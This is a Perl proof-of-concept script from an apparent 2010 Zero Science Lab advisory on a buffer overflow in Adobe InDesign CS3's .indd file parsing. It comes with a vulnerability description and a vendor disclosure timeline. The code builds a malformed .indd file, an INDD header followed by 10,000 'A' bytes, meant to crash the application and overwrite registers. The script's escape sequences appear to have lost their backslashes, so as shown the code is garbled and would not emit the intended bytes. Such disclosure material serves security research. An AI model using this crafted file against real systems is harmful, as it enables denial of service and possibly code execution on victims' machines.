#!/usr/bin/perl
#
# Adobe InDesign CS3 INDD File Handling Buffer Overflow Vulnerability
#
# Vendor: Adobe Systems Inc.
#
# Product Web Page: http://www.adobe.com
#
# Version tested: CS3 10.0
#
# Summary: Adobe? InDesign? CS3 software provides precise control over
# typography and built-in creative tools for designing, preflighting,
# and publishing documents for print, online, or to mobile devices. Include
# interactivity, animation, video, and sound in page layouts to fully engage
# readers.
#
# Desc: When parsing .indd files to the application, it crashes instantly
# overwriting memory registers. Depending on the offset, EBP, EDI, EDX and
# ESI gets overwritten. Pottential vulnerability use is arbitrary code execution
# and denial of service.
#
#
# Tested on Microsoft Windows XP Professional SP3 (English)
#
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm gmail com
#
# Zero Science Lab - http://www.zeroscience.mk
#
# 16.09.2009
#
#
#
# Vendor status:
#
# [16.09.2009] Vulnerability discovered.
# [09.03.2010] Vulnerability reported to vendor with sent PoC files.
# [21.03.2010] Asked confirmation from the vendor.
# [21.03.2010] Vendor asked for PoC files due to communication errors.
# [22.03.2010] Re-sent PoC files to vendor.
# [04.04.2010] Vendor confirms vulnerability.
# [03.06.2010] Vendor informs that they discontinued support for CS3 since CS5 is out.
# [04.06.2010] Public advisory released.
#
#
# Zero Science Lab Advisory ID: ZSL-2010-4941
# Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4941.php
#
#
#
# Raw PoC code:
#

$header = "x06x06xEDxF5xD8x1Dx46xE5xBDx31xEFxE7xFEx74xB7x1Dx44x4Fx43x55x4Dx45x4Ex54x01";

$fn = "teppei.indd";

$bof = "x41" x 10000;

print "nn[*] Creating PoC file: $fn ...rn";

sleep(1);

open(indd, ">./$fn") || die "naCannot open $fn : $!";

print indd "$header" . "$bof";

close (indd);

print "n[*] PoC file successfully created!rn";